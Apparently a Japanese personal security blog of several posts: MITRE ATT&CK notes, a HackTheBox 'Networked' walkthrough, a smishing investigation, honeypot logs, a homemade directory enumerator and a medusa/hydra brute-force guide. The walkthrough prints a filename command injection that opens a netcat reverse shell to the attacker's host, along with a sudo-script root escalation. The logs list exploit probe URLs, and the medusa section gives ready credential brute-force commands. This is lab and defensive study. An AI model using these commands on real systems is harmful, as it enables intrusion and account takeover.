akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

MITRE ATT&CK(自分用備忘録)

MITRE ATT&CKについての備忘録。内容が内容なので、もう至る所に上質な日本語での情報がすでにあったりしますが、自分なりに解釈できるようにまとめただけのやつです。あとATT&CKを知らない後輩に教えるつもりでも意識して書いてみました。

■ATT&CKとは

一言で言えば、「攻撃者が用いる戦術や戦略のナレッジベース」です。
( ナレッジベース = 知識管理のための特殊なデータベース)

アメリカのMITER社が公開しています。
脅威情報は変化が早いため、四半期に一度は脅威情報が更新されているようです。

ATT&CKには主に以下4つの構成があります。
Tactics
・Techniques
・Groups
・Software

Tactics (戦術)
 → 攻撃を行う目的の一覧。12の戦術が挙げられている。
  また、目的達成のために様々な手法 (Techniques)を用いる。

・Techniques (手法)
 → 目的を達成するために使う手法の一覧。Techniquesの中にもSub-Techniquesがある。
  各手法のページでは、その手法を利用するグループ、手法が利用可能なツール、緩和策なども紹介されてる。

・Groups
 → 攻撃者、攻撃グループの一覧

・Software
 → 攻撃で使われるソフトウェア、ツールの一覧

■ATT&CKの各構成の例

12ある戦術として「Initial Access」「Execution」「Lateral Movement」などがあります。

今回例を取り上げるために、日本語化プロジェクトでまだ翻訳されていない「Privilege Escalation」をピックアップして、各構成について説明してみようと思います。

- 戦術 (Tactics) -

(公式の説明を引用)

Privilege Escalation - 権限昇格

攻撃者はより高いレベルの権限を取得することを試みます。

「Privilege Escalation」は、攻撃者がシステムやネットワーク上で高い権限を得るために使うテクニックで構成されています。
攻撃者はしばしば権限を得ずにネットワークに侵入し探索しますが、攻撃者の目的達成のために昇格した権限を要求することもできます。共通のアプローチとして、システムの弱点、設定不備、脆弱性を悪用することが挙げられます。高い権限の例として、「SYSTEM/root(システム権限/ルート権限)」「local administrator(ローカル管理者)」「user account with admin-like access(管理者に近いユーザ)」「user accounts with access to specific system or perform specific function(特定のシステムへのアクセスが可能なユーザ、もしくは特定の機能を実行することが可能なユーザ)」が挙げられます。これらの手法は時に「Persistence (永続化)」の手法と重複することがありますが、これはOSが権限が高いコンテキストで実行する場合があるためです。

- Techniques (手法) -

権限昇格を達成するための手法として以下のTechniquesとSub-Techniquesが挙げられています。
(多いので一部抜粋)

Abuse Elevation Control Mechanism - 昇格制御機構の悪用
  (以下Sub-Techniques)
  |_ Setuid and Setgid
  |_ Bypass User Access Control

Access Token Manipulation - アクセストークンの操作
  |_ Token Impersonation/Theft
  |_ Create Process with Token

などなど。。。

- Group -
例えば上記の
Abuse Elevation Control Mechanism - Bypass User Access Control
の手法を用いる攻撃グループの例として
・APT29
Cobalt Group
などが挙げられています。

そしてAPT29のGroupページを見ると以下のような説明があります。

APT29はロシア政府に関与するとされている脅威グループであり、少なくとも2008年には活動を開始しています。本グループは2015年の夏に始まったアメリカの民主党全国委員会に不正侵入したことが報道されています。

またその他の情報として
・その他関わりのあるグループはどこか
・どういった手法を用いるのか
などが記載されています。

- Software -
同様に
Abuse Elevation Control Mechanism - Bypass User Access Control
の手法が利用可能なソフトウェアの例として
Cobalt Strike
Empire
などが挙げられています。

そしてCobalt StrikeのSoftwareページを見ると以下のような説明があります。
(翻訳自信無い..)

Cobalt Strikeは、フル機能を備えた商用のペネトレーションツールで、自身を「標的への攻撃実行や高度な脅威アクターのpost-exploitationをエミュレートするように作成された敵対的シミュレーションソフトウェア」として宣伝しています。 (以下省略)


その他、そのツールで利用可能な手法、ツールを用いるグループなどが紹介されています。

■ATT&CKをもう少し知る

・他のサイバーセキュリティフレームワークとの比較

サイバーセキュリティのフレームワーク「Cyber Kill Chain」をご存知でしょうか。
「Cyber Kill Chain」は偵察活動から目的の実行までをフレームワーク化したものです。

ATT&CKは、この「Cyber Kill Chain」の侵入以降のプロセスを対象としてまとめられています。
(なお、侵入までのプロセスは、PRE-ATT&CKでまとめられている)

その他サイバーセキュリティには様々なフレームワーク、モデル、情報があります。
ATT&CKの位置付けとしては以下のようになっているらしいです。

・Exploitの情報や脆弱性情報(CVEなど)といったものよりも抽象的
・Cyber Kill ChainやMicrosoftの「STRIDE」のような戦略的な知識よりも具体的

つまり抽象度の大小で表すと

 (より具体的) CVE情報、Exploit情報 < ATT&CK < Cyber Kill Chain、STRIDE (より抽象的)

ということ、かなと (分かりにくいか。

・ATT&CKがどういった場面で使用されるか

また、ATT&CKがどういった場面で使用されるかについては
・レッドチーム演習
・SOC成熟度評価
・防御のギャップ評価
などなど、色々使い方はあるようですね。

最近読んでいる「インテリジェンス駆動型インシデントレスポンス」では、攻撃者の情報をトリガーとしてインシデント調査を進めるなどの内容があったので、そういった場合にもATT&CKは有用なのかなと思います。

■まとめ

個人的な備忘録としてATT&CKをまとめてみました。自分が実際に活用するのはほんの少し先になりそうですが、このタイミングでまとめておいてよかったです。公式ページで全ての情報を見ようとするとかなり多いですし、ここでまとめきれていない情報もたくさんあったりします。
とはいえ、時間があればちょっとずつでもいいので目を通していきたいですね。

HTB Networked攻略メモ

HTBのNetworked端末の自分用メモです。
ippsecの動画をほとんど参考にしましたが、大変参考になりました。
https://www.youtube.com/watch?v=H3t3G70bakM


init shell

dirbusterからupload.phpを発見
bakupからupload.phpを読んでアップロード可能なファイルの形式を読み取る

キーワード:magic bytes => ファイルの頭のバイト列からファイルの形式を判定する
参照例:
https://blog.netspi.com/magic-bytes-identifying-common-file-formats-at-a-glance/

今回の場合、upload.phpが「ファイル名の拡張子」と「ファイルのmagic bytes」を確認していた。
なので
・revere phpシェルファイルの頭文字に「GIF87a.」を入れる
・met_rev_4444.php.gifとしてファイルを保存
みたいにすればアップロード成功、init shell取得

gulyへの権限昇格

gulyディレクトリのcheck_attack.phpに以下の文字列がある
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$valueにファイル名が入るので、OSコマンドを含む文字列をファイル名としてつければOSコマンドの実行が可能になる。

bash-4.2$ pwd
pwd
/etc/httpd
bash-4.2$ cd /var/www/html/uploads
cd /var/www/html/uploads
bash-4.2$ pwd
pwd
/var/www/html/uploads
bash-4.2$ touch -- '; nc -c bash 10.10.14.22 4445;.php'
touch -- '; nc -c bash 10.10.14.22 4445;.php'
bash-4.2$ ls -l '; nc -c bash 10.10.14.22 4445;.php'         
ls -l '; nc -c bash 10.10.14.22 4445;.php'
-rw-r--r-- 1 apache apache 5 Jun 28 14:38 ; nc -c bash 10.10.14.22 4445;.php
bash-4.2$ 

あとはcronが実行されればgluyへの昇格が成功する。

rootへの権限昇格

sudo -l から/usr/local/sbin/changename.shの実行が可能とわかる。
/etc/sysconfig/network-scripts/ifcfg-gulyへインターフェイス情報が書き込まれるスクリプトだとわかる。
このスクリプト内では echo $x whoamiのようにスペースを空けて次のコマンドを挿入すれば、挿入したコマンドも実行できるというものらしい。
参照元
https://seclists.org/fulldisclosure/2019/Apr/24

以下のように入れれば、rootを取得できることが可能。

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
aaa
interface PROXY_METHOD:
bbb
interface BROWSER_ONLY:
ccc bash
interface BOOTPROTO:
TCP
[root@networked network-scripts]# 
補足:.php.gifがphpとして実行可能なのが危険

httpdconf内のphp.confの設定として、ファイル名に「.php」が含まれている場合は全て実行が可能になるというものなっているため。
これは設定としては不適切なため、末尾に.phpがある場合のみ実行できるように以下のように設定を修正する必要がある。

【修正前】

AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"

【修正後】

<FilesMatch ".php$">
	AddHandler php5-script .php
	AddType text/html .php
</FilesMatch>
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"

初めてスミッシングを受け取ったので少し深追いしてみる

初めて受け取りました。


f:id:akkietech:20200617174006j:plain

電話番号
080[-]6040[-]7442

URL
hxxp://waetdasfh[.]duckdns[.]org

初めてスミッシングを受け取りました。


ちなみに「スミッシング」とは
SMSを用いたフィッシングのことです。

SMS + フィッシング = SMィッシング → スミッシング
でしょうかね。

職業病なのか少しテンションが上がったので、深追いしてみました。

Virustotalで調査

f:id:akkietech:20200617174159p:plain

今のところはスキャン結果はクリーンとなっているようです。

f:id:akkietech:20200617174111p:plain

またステータス200返ってきているので、実在するWebページのようです。

正引きで返ってきたIPアドレス(128.1.248[.]195)の登録地域はアメリカです。
今のところはIPアドレスもクリーンなようでした。

■Aguseでの調査

f:id:akkietech:20200617174319p:plain

別のURLにリダイレクトされているようでした。
hxxp://waetdasfh[.]duckdns[.]org/kwfcmpfnfeoaokq.apk

どうやらapkファイルをダウンロードさせるためのURLのようです。
初めて見た拡張子だったので調べてみたところ、Androidアプリに関するファイルのようでした。

自分の使っているスマホAndroidなので、URLを踏んでいればそのアプリがダンロードさせられていたのでしょう。

ちなみにこのURLでVirustotalやってみたら引っかかってました。

f:id:akkietech:20200617174343p:plain


次に行きます。

■urlscan.ioでの調査

このページでは対象のURLをスキャンし、レスポンスページのHTMLファイルを見れたりします。

f:id:akkietech:20200617174408p:plain

「Show response」をクリックします。

f:id:akkietech:20200617174422p:plain

大量のjava scriptらしきものが出てきました!!(テンション上げ)
これは怪し〜〜〜〜www
見てみたろ。

Linux環境でWebページを動かしてみる

urlscanで返ってきたレスポンスページを丸々コピーして挙動を見ちゃいましょう。
ファイル名はmal.htmlとして、上記のhtmlを丸コピして、以下でwebサーバを起動します。

!!念の為、変な通信が外部に発生しないようインターネット接続からは隔離しています!!


python3 -m http.server

f:id:akkietech:20200617174458p:plain

出たーーーーー!!
「セキュリティ向上のため,最新バージョンのChromeにアップデートしてください.」
のメッセージが出ました。

句読点がカンマだったり、ピリオドになってるあたり、惜しいですね〜。

OKを押してみましょう。

f:id:akkietech:20200617174514p:plain

同一のホスト名に対して、/khbrcufcspywukaozafa.apkのURLへのアクセスが発生するようになりました。
つまり警告に対してOKボタンを押すことで、Androidファイルをダウンロードさせられることになります。

ちなみにwiresharkとかtcpdumpで確認したところ、インターネット向けに変な通信は発生していませんでした。あくまで同一ホストに対するパスが渡されているようですね。

■まとめ

初めてスミッシングを受け取って少しだけ追跡してみました。
apkファイルも実際に見てみたかったのですが、犠牲になってもらうAndroid端末は持ち合わせてないし、Androidアプリが動作するエミュレータを導入するほどでもないかなと思ったので、深追いはここまでとしました。

ちょっとびっくりしたのはSMSを受け取った時点で「SPAMでは?」的な警告が出ていたことです。一般的なユーザがフィッシングに引っかかりにくくなる仕組みができていてすごいなと感じました。

ということで、スミッシング(詐欺SMS)には気をつけましょう!

ハニーポット集計(5/9〜5/13)

集計期間
2020/5/9 〜 2020/5/13 (5日間)
捕捉状況は末尾に記載。

以下は集計期間で目立った通信。

■89.248.174.151によるphpMyAdminの探索活動

検知日数:
5/12〜5/13

User-Agent:
python-requests/2.9.1

Request URL:
GET /phpmyadmin/scripts/setup.php HTTP/1.1
GET /sqladm/scripts/setup.php HTTP/1.1
GET /sqladmin/scripts/setup.php HTTP/1.1
GET /phpmyadmin/scripts/db___.init.php HTTP/1.1
GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1
GET /MyAdmin/scripts/setup.php HTTP/1.1
GET /database/scripts/setup.php HTTP/1.1
etc

検知数
5/12 : 11
5/13 : 14

■89.248.174.151によるApache Tomcatの探索活動

検知日数:
5/9〜5/13

User-Agent:
Python-urllib/2.7
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Request URL:
GET /is_test HTTP/1.1
GET /manager/html HTTP/1.1

検知数
5/9 : 10
5/10 : 12
5/11 : 10
5/12 : 11
5/13 : 14

常に検知数上位に位置している205.185.123.189による通信。
/manager/htmlと/is_testへのリクエストが常にセットできている。

/manager/htmlはApache Tomcatの探索活動であると思われるが、
/is_testはなんなのか、いまいちこれといった情報が見つからなかった。

User-Agentも
・/is_test宛ては「Python-urllib/2.7」
・/manager/html宛ては「Mozilla/5.0 〜」
といったところも固定されているようであった。

ちなみに、Metasploitでいえばmulti/http/tomcat_mgr_uploadにあたる攻撃だろうと考える。
(ExploitDB: https://www.exploit-db.com/exploits/31433)

こんなに毎日来るようであれば、擬似的なTomcatページを返して攻撃者がどういった行動をとるのか観察してみたいところである。

■捕捉状況

総検知数:643

日別
153 : 2020-05-10
142 : 2020-05-12
126 : 2020-05-09
126 : 2020-05-13
96 : 2020-05-11

送信元別 (上位20)
54 : 205.185.123.189
45 : 103.40.102.148
43 : 195.54.160.121
25 : 89.248.174.151
16 : 77.247.108.77
14 : 5.101.0.209
9 : 220.132.51.121
9 : 118.25.79.208
9 : 61.160.251.82
8 : 173.212.213.46
8 : 114.32.47.58
8 : 220.134.196.214
8 : 111.229.240.235
8 : 191.232.238.42
7 : 113.169.23.80
7 : 27.78.201.212
7 : 117.157.15.27
6 : 185.162.235.189
5 : 66.240.205.34
4 : 14.225.3.52

User-Agent別 (上位20)
57 : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
46 : Mozilla/5.0 zgrab/0.x
45 : Mozilla/3.0 (compatible; Indy Library)
27 : Python-urllib/2.7
26 : Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
25 : python-requests/2.9.1
22 : Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
20 : Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; hxxp://cloudsystemnetworks.com)
20 : Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
19 : Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
16 : python-requests/2.21.0
14 : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
12 : Abcd
12 : Go-http-client/1.1
10 : Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
9 : masscan/1.0 (hxxps://github.com/robertdavidgraham/masscan)
8 : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
7 : Mozilla/5.0
7 : XTC
6 : ZmEu

リクエスURI別 (上位20)
308 : /
76 : /manager/html
27 : /is_test
12 : /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
11 : /setup.cgi
9 : /hudson
9 : /solr/admin/info/system?wt=json
9 : /?a=fetch&content=die(@md5(HelloThinkCMF))
9 : /?XDEBUG_SESSION_START=phpstorm
9 : /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP
9 : /api/jsonws/invoke
9 : /sess-bin/login_session.cgi
9 : /cgi-bin/mainfunction.cgi
8 : /TP/public/index.php
8 : /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]
=1
7 : /doLogin
7 : /TP/public/index.php?s=captcha
5 : ip.ws.126.net:443
4 : /logs
4 : /editConfig?returnUrl=/

■備忘録
やりたいこと
・Apache Tomcatの擬似ページレスポンス作れるか
・rorbots.txtも擬似的に返して、攻撃者が実際にアクセスするのか実験してみたい。

WOWHoneypotはじめてみた

■経緯

OSCP取得から、かなり気持ち的にも余裕が出てきたので。

如何せんはじめてなもので、色々ググりました。
AWSでT-Potから始めてもよかったんだが、若干コストがかかる感じだったので、
スモールスタートということでWOWHoneypotを使うこととしました。

WOWHoneypotといえば、ハニーポッターの著書でおなじみのmorihisaさんが初心者向けに作成されたもので、githubにて公開されています。

https://github.com/morihisa/WOWHoneypot

AWSでアカウント登録することで得られる無料枠を利用して、こちらのWOWHoneypotを設置していくこととしました。

設置については他の方々がブログで詳細に分かりやすく解説されているので、ググって参考にしていただければと思います。

インスタンスのリージョンは無難に東京としました。

■捕捉状況

5/4〜5/9までの捕捉状況です。

日別

131 : 2020-05-06
126 : 2020-05-09
112 : 2020-05-08
104 : 2020-05-07
98 : 2020-05-05
続きを読む

Webブルートフォースツール比較

Hack the Boxをやっていると、Webサーバに対してブルートフォースを実施して
コンテンツの調査をする機会が多い。

そしてツールには選択肢がある。
有名なもの、というかよく使われるものとしては以下があげられる。と思う。

・dirbuster (コマンドラインで使う)
・gobuster (GUIで使える)
・nmap --script http-enum

あまりにEnumerationする機会が多かったので、どれが一番早いのか気になってこれらの実行時間を比べてみた。

■条件

・ターゲット
HTBのJoomla端末であるCurling(10.10.10.150)

・Wordlist

kali@kali:~$ wc -l /usr/share/seclists/Discovery/Web-Content/common.txt
4652 /usr/share/seclists/Discovery/Web-Content/common.txt

多すぎず少なすぎずの4652行。

・スレッド
オプション指定で100。
ちなみに気をつけないといけないのは、Webサーバによってはスレッド数多すぎるとBanされることがあるので注意。

・なお、一応比較対象として加えるnmapのnseスクリプトはデフォルトに従う。

ディレクトリ探索のみ

・dirbuster
  → 17秒

・gobuster
  → 17秒

kali@kali:~$ gobuster dir -u http://10.10.10.150 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100

・nmap http-enum
  → 26秒

kali@kali:~$ nmap -p80 10.10.10.150 --script http-enum

■ファイル探索 (対象の拡張子は、html,php,txtの3つ)

・dirbuster
  → 40秒

・gobuster
  → 46秒

kali@kali:~$ gobuster dir -x php,html,txt -u http://10.10.10.150 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100

・自作pythonスクリプト
ちなみに自作のpythonスクリプトも作ってみた。
もしかしたら自分で作るスクリプトが一番早かったりする?みたいな
夢みたいなこと考えてしまい、作って実際測るまでわからなかったので一応作ってみた。

なにかとある程度形にするのに3時間近くかかった。
結果、ファイル探索にかかった時間は70秒。
そりゃ既存ツールの方が早いに決まってる。

せっかく作ったので末尾ににコード載せておくけど。改良の余地ありですね。
ちなみに「サイバーセキュリティプログラミング」の本をかなり参考にして作った。

■まとめ

dibuster、gobuster共に4600くらいのワードリストだと17秒くらい。
拡張子3つを対象(=約13800)にすると40秒くらいで終えてくれる。

だいたい同じくらいですが、個人的にはGUIのdirbusterの方が好みです。
右クリックでURLをそのまま開けたり、レスポンスが見れたりできて便利なので。

状況や攻撃端末の環境によって使い分けるといいかもですね。

■自作WebEnumスクリプト
#!/usr/bin/python
import requests, Queue, threading, sys, getopt

extension = "html,php,txt"
fname = "/usr/share/seclists/Discovery/Web-Content/common.txt"
threads = 20
url = ""

def usage():
	print"Usage: python %s [option]"%(sys.argv[0])
	print"	-u, --url	: Target URL"
	print"	-w, --wordlsit	: Wordlist (Default: /usr/share/seclists/Discovery/Web-Content/common.txt)"
	print"	-e, --extension	: Extension (Default: html,php,txt)"
	print"	-t, --threads	: Number of threads (Default: 20)"
	print""
	print 'Ex: python %s -w my_wordlist -e "html,pl,py,sh" -t 100 -u http://target.url/'%(sys.argv[0])
	sys.exit(0)

def run_exploit(target_url_queue):
	error_count=0
	while not target_url_queue.empty():
		target_url = target_url_queue.get()

		try:
			req = requests.get(target_url)
			if not "404" in str(req):
				print "%s : %s\n"%(req, target_url)
		except:
			pass

def main():
	global url
	global wordlist
	global threads
	global fname
	global extension

	if not len(sys.argv[1:]) or not "-u" in sys.argv:
		usage()

	try:
		opts, argv = getopt.getopt(sys.argv[1:],"ht:w:e:u:",["help","threads","wordlist","extension","url"])
	except getopt.GetoptError as err:
		print str(err)
		usage()

	for o,a in opts:
		if o in ("-h", "--help"): 
		    usage()
		elif o in  ("-t", "--threads="):
		    threads = int(a)
		elif o in ("-w", "--wordlist="):
		    fname = a
		elif o in ("-e", "--extension="):
		    extension = a
		elif o in ("-u", "--url="):
		    url = a
		else:
			assert False, "Unhandled Option"

	if "http://" in url:
		base_url = "%s/"%url
	else:
		base_url = "http://%s/"%url

	f = open(fname, "r")
	file_names = f.readlines()
	f.close()

	ex_array = extension.split(",")
	total_req = len(file_names) * len(ex_array)
	target_url_queue = Queue.Queue()

	for file_name in file_names:
		for ex in ex_array:
			target_url = base_url + file_name.strip() + "." + ex
			target_url_queue.put(target_url)

	print "============================="
	print "Target: %s"%(base_url)
	print "Wordlist: %s"%(fname)
	print "Extensions: %s"%(extension)
	print "Thread: %s"%(str(threads))

	print "\nTotal Request: %s"%(total_req)
	print "=============================\n"

	for i in range(threads):
	    t = threading.Thread(target=run_exploit, args=(target_url_queue,))
	    t.start() 

if __name__ == "__main__":
	main()

OSCP苦戦中 + medusa

どうも。
かなり久々の投稿。誰も見ていないと思うけど。


タイトルの通り、去年の6月末あたりからOSCP取得に向けてコースを受けていて、現在も取得できずに苦戦中です。
OSCPの詳細については受かってから詳しく書こうとは思いますが、最近カリキュラムの内容にアップデートがかかって、範囲が2倍になった模様。
価格も初期申込からだと全体的に上がっており、さらにハードルが高くなったように感じているが、密度の濃い内容になることは間違いない。

そんなこと気にしている場合じゃない。今はOSCP取得に向けて頑張るのみ。 

ということで、OSCP学習の過程で学んだ一つである「medusa」の使い方について、用途別で簡単に書こうと思います。

■medusaとは
ブルートフォース攻撃で使われるツールの1つです。
他のブルートフォース用のツールで有名どころで言えばhydra。

多様なプロトコルに対応していたり、webフォームに対する攻撃も柔軟に設定ができるので、medusaをよく使っています。

■準備
攻撃対象サーバのIPアドレス:192.168.179.123
パスワードリスト:以下

kali@kali:~$ cat password_list.txt 
admin
administrator
adm
test
test1
user
guest
user1
default
www-data
apache
kali@kali:~$ 


■ケース1 - シンプルなやつ
FTPだったり、SMTPだったりと、プロトコルに応じてシンプルに攻撃するパターン

FTP

medusa -h 192.168.179.123 -u admin -P password_list.txt -M ftp

出力結果:

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: admin (1 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: administrator (2 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: test (4 of 12 complete)
ACCOUNT FOUND: [ftp] Host: 192.168.179.123 User: admin Password: test [SUCCESS]

admin/testで突破できたことがわかる。

他のプロトコルでも同様。

SMTP

medusa -h 192.168.179.123 -u admin -P password_list.txt -M smtp

SMB (-Mオプションの引数注意!)

medusa -h 192.168.179.123 -u admin -P password_list.txt -M smbnt


■ケース2 - HTTPのBasic認証
URLパスに指定がなければ、-Mにhttpを指定するだけ。

kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http

もしBasic認証の対象URLにパスがつく場合。
targetURL: hxxp://192.168.179.123/guest/welcome.html

kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http -m DIR:/guest/welcome.html

出力結果:

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: admin (1 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: administrator (2 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: adm (3 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test (4 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test1 (5 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: user (6 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: guest (7 of 11 complete)
ACCOUNT FOUND: [http] Host: 192.168.179.123 User: guest Password: guest [SUCCESS]
kali@kali:~$ 

guest/guestで突破できたことがわかる。

■ケース3 - ログインフォームの突破
ケース2との違いとしては、ログイン失敗時のシグナル(文字列)を設定することで、成功か否かを判別するというものです。
対象ページはWordpressのadminページを想定しています。

medusa -h 192.168.179.123 -u admin -P password_list.txt -M web-form -m FORM:"wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1" -m DENY-SIGNAL:"incorrect"

それぞれのオプションを軽くブレイクダウンすると

 -M web-form
  → web-formを指定

 -m FORM:"wp-login.php"
  → ログイン対象のページを指定 (パスがある場合は "path/wp-login.php")

 -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1"
  → POSTデータを指定。 BurpSuiteなどで一旦POSTデータを確認するとわかりやすい。
    ユーザ名、パスワードのイコール以降は指定しないのがポイント。
    (今回であればnameが「log=」、passwordが「pwd=」)

 -m DENY-SIGNAL:"incorrect"
  → ログイン失敗した場合のシグナルを指定。
    Wordpressページであれば存在するユーザ名でパスワードを間違えれば「incorrect」が含まれるのでそれを指定している。


ログインページにもよりますが、成功した場合こういう出力が出てきたりします。

ERROR: The answer was NOT successfully received, understood, and accepted while trying admin adm: error code  302
ACCOUNT CHECK: [web-form] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete)

これは「DENY-SIGNALで指定した文字列を含まないページが返ってきてリダイレクトされたよ」ってメッセージです。
つまり成功したことでadminページにリダイレクトするためのレスポンスが返ってきたのでしょう。


■ケース4 - Cookieヘッダをつける
中にはセッションを保ったままBasic認証をしたりするようなものもあったりするので、Cookieヘッダのつけ方も知っておくと、いつか役に立つでしょう。
ついでにスピードをあげるために-tオプションでスレッド数も指定しておきましょう(デフォルト)

medusa -h 192.168.179.123 -u admin -P password_list.txt -M http -m CUSTOM-HEADER:"Cookie: JSESSIONID=9623996267A0F002BE597D77B161EE0B" -t 20


■ちなみにhydra
Basic認証

hydra -l admin -P password_list.txt 192.168.179.123 http-get
hydra -L namelist.txt -P password_list.txt 192.168.179.123 http-get

POSTでのログインフォーム

hydra -l admin -P password_list.txt 192.168.179.123 http-post-form '/login.php:user=^USER^&pass=^PASS^:login failed'

コロン(:)区切りの箇所は、3つめに失敗時のシグナルを指定する。

成功時の出力:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-18 05:45:42
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task
[DATA] attacking http-post-form://192.168.179.123:80/login.php:user=^USER^&pass=^PASS^:login failed
[80][http-post-form] host: 192.168.179.123   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-18 05:45:48

■まとめ
改めて書きながら実践していくと、POSTのログインフォームはhydraの方が使いやすいことがわかった。
明日から相方変更です。